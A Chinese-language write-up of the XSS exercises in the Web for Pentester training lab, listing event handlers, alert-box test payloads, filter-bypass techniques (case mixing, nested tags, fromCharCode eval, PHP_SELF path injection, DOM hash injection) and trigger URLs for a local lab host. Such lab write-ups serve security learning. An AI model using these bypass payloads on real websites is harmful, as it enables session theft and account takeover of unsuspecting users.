Web for Pentester XSS write up

触发标签与属性

通用总结

  1. onerror
  2. onmouseover
  3. onmouseout
  4. onmousemove
  5. onclick

script

通常触发方式

a

onmouseover
onmouseout
onmousemove
onclick

img

onerror
onmouseover
onmouseout
onmousemove
onclick

div

onmouseover
onmouseout
onmousemove
onclick

无害 payload

简单粗暴的测试payload

1
2
3
4
5
<script>confirm(1);</script>
<img src=1 onerror=prompt(1)>
<table background="javascript:confirm(1)"></table>
<a href="javascript:confirm(1)">a</a>
<a href="javascrip&#116&#58confirm(1)">a</a>

过滤测试

过滤测试 payload - 0

1
zxcv%20script<>"%27

过滤测试 payload - 1

1
<script>alert(1);</script>

过滤测试 payload - 2
观察是否存在大小写混淆绕过。

1
<sCriPt>alert(1);</scRIpt>

过滤测试 payload - 3
递归构造法

1
Pent<<est<script>erL>ab>>

过滤测试 payload - 4
递归构造法

1
<scr<script>ipt>alert(1);</sc</script>ript>

过滤测试 payload - 5
查看代码部分的关键词是否被限制了

1
alert

过滤测试 payload - 6
测试img标签

1
<img src=1 onerror=prompt(1)>

过滤测试 payload - 7
测试div标签

1
<div onmouseover=alert(1)>1</div>

基本混淆

大小写混合
宽字节

基本的XSS类型

反射型XSS(Reflected)

描述

payload 在 HTTP 请求中的某处,可能在URL中,可能在Data域,可能在请求头(比如Refer字段),也可能在cookie中。payload 发送到服务器后,直接在服务器响应的HTML出现了(因此被称为反射型XSS)。 换言之,只有用户发出特定请求才能触发的XSS。

评价

过去反射型XSS的利用通常依靠钓鱼邮件,用户(被害者)点击恶意URL后会发送他的cookie到攻击者的XSS平台,然后攻击者就可以以被害者的身份登录。
随着 chrome 会使用 XSS Auditor 检查 URL (然而 firefox 并没有这种安全保护机制),反射型XSS的利用条件愈加苛刻了。换言之,反射型XSS的价值并不高。

存储型XSS(Stored)

描述

存储型XSS的关键特征是恶意 payload 被持久化存储了(存储在数据库中或者其他位置)。 恶意 payload 被持久化存储的结果是恶意行为不再依赖某些特定HTTP请求的触发。只要一次成功的存储,后续用户即使使用正常的HTTP请求访问网站,也会被攻击。

评价

存储型XSS是危害较大的XSS类型。通常出现在留言板,用户反馈,提交建议,帮助改进等位置。

DOM型XSS(DOM-based)

描述

基于 DOM 触发。

评价

payload 没有出现在服务器的HTML响应文本中,运行时触发。

Web for Pentester XSS write up

Example 1

payload

1
<script>alert(1);</script>

触发URL

1
http://192.168.56.101/xss/example1.php?name=%3Cscript%3Ealert(1);%3C/script%3E

Example 2

思路
第一步,用过滤测试payload-0来看看注入点的过滤情况。
通过观察结果,可以判断name参数的注入点没有过滤尖括号。
初步判断name注入点可以构造script标签。

第二步,用最基本的payload测试

1
<script>alert(1);</script>

观察页面响应结果,发现<script></script>都消失了。
猜测后端可能有正则匹配,将<script>替换成空字符串。

第三步,尝试将<script>进行变形,最基本的是大小写组合变换

1
<scRipt>alert(1);</sCript>

测试成功。

触发URL

1
http://192.168.56.101/xss/example2.php?name=%3CscRipt%3Ealert(1);%3C/sCript%3E

Example 3

思路
第一步,用过滤测试pyaload-0探测。
观察结果时发现左右尖括号都被 HTML encoding 成&lt;&gt;了。

第二步,使用过滤测试payload-2探测。
观察到结果中有一部分尖括号被过滤,但也有部分尖括号未被过滤。

1
2
Pent<<est<script>erL>ab>>
Pent&lt;<esterl>ab&gt;&gt;

第三步,黑盒测试尝试构造我需形态。

1
2
3
4
5
Pent<<scri<script>pt>ab>>
Pent&lt;<script>ab&gt;&gt;
Pent</b<script>r>alert(1);
Pent<scri<script>pt>alert(1);</scri<script>pt>
<<scri<script>pt>alert(/xss/)<//scri<script>pt> # 比较接近的状态

第四步,经过不断测试大量payload最终找到一个可用的payload

1
<scr<script>ipt>alert(1);</sc</script>ript>

后记:有空可以看一下后端的过滤到底是怎么写的。
对下面代码的第一个过不了略感疑惑。

1
2
<scr<script>ipt>alert(1);</sc<script>ript>
<scr<script>ipt>alert(1);</sc</script>ript>

Example 4

思路
script这个关键词被禁用。考虑用其他标签触发XSS。最常用的还是img标签。
除了img标签以外,还可以考虑a标签和div标签等。

触发函数有 onerror, onmouseover, onmouseout, onmousemove, onclick.

一组有效 payload

1
2
3
4
5
6
7
8
9
10
11
<img src=1 onerror=alert(1)>
<img src=1 onerror='alert(1)'>
<img src=1 onerror='alert(1)' />
<img src='1' onerror='alert(1)' />
<img src="1" onerror='alert(1)' />
<img src=1 onmouseover=alert(1)>
<a href=1 onmouseover=alert(1)>1</a>
<div onclick=alert(1)>1</div>
<div onmouseover=alert(1)>1</div>
<img src=1 onmouseover=prompt(1)>
<img src=1 onmouseover=confirm(1)>

Example 5

alert 被限制的情况。

绕过思路1,不使用alert而用其他的类似函数,比如confirmprompt

1
2
<script>confirm(1)</script>
<script>prompt(1)</script>

绕过思路2,编码函数名

1
2
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

Example 6

直接注入JavaScript代码中。
不闭合script标签的情况,可以考虑用//注释后面的代码

1
2
";alert(1)//
";alert(1);var a="

顺带再闭合一下script标签也不是不可以,只是有点多此一举。

1
";</script><script>alert(1)//

Example 7

左右尖括号和双引号<,>,"被HTML encoding。
如上个例子所述,其实并不需要用到尖括号,并且可以用单引号分割。
(用双引号还是单引号分割得看目标页面的代码怎么写,类似于python)

1
';alert(1)//

Eaxmple 8

思路
先用一个测试payload探探路。

1
<img src=1 onerror=prompt(1)>

发现左右尖括号都被转义了,初步看起来似乎没戏了。
POST的name参数这个注入点是无效的。但此处又另一个注入点,
比较难以发觉,在URL中。

1
http://192.168.56.101/xss/example8.php/aaa

构造特殊的URL

1
2
" onmouseover=alert(1) c="
http://192.168.56.101/xss/example8.php/%22%20onmouseover=alert(1)%20c=%22

说明

这种错误产生的原因在于在于开发者盲目信任PHP_SELF函数,盲目信任用户提供的路径。
类似的漏洞经常出现在 有表单的页面,和 错误页面 (404, 500) 。

Example 9

DOM型 XSS 的典型代表,恶意输入并没有直接反映在返回的HTML中,而要依赖浏览器动态执行JavaScript之后,恶意输入才能被执行。

可以在F12的console里实验一下。

1
2
location.hash
location.hash.substring(1)

payload

1
<script>alert(1)</script>

注意,每次需要重新建一个标签访问。在同一个标签修改URL是不会触发的XSS的。
chrome测试成功,firefox测试失败。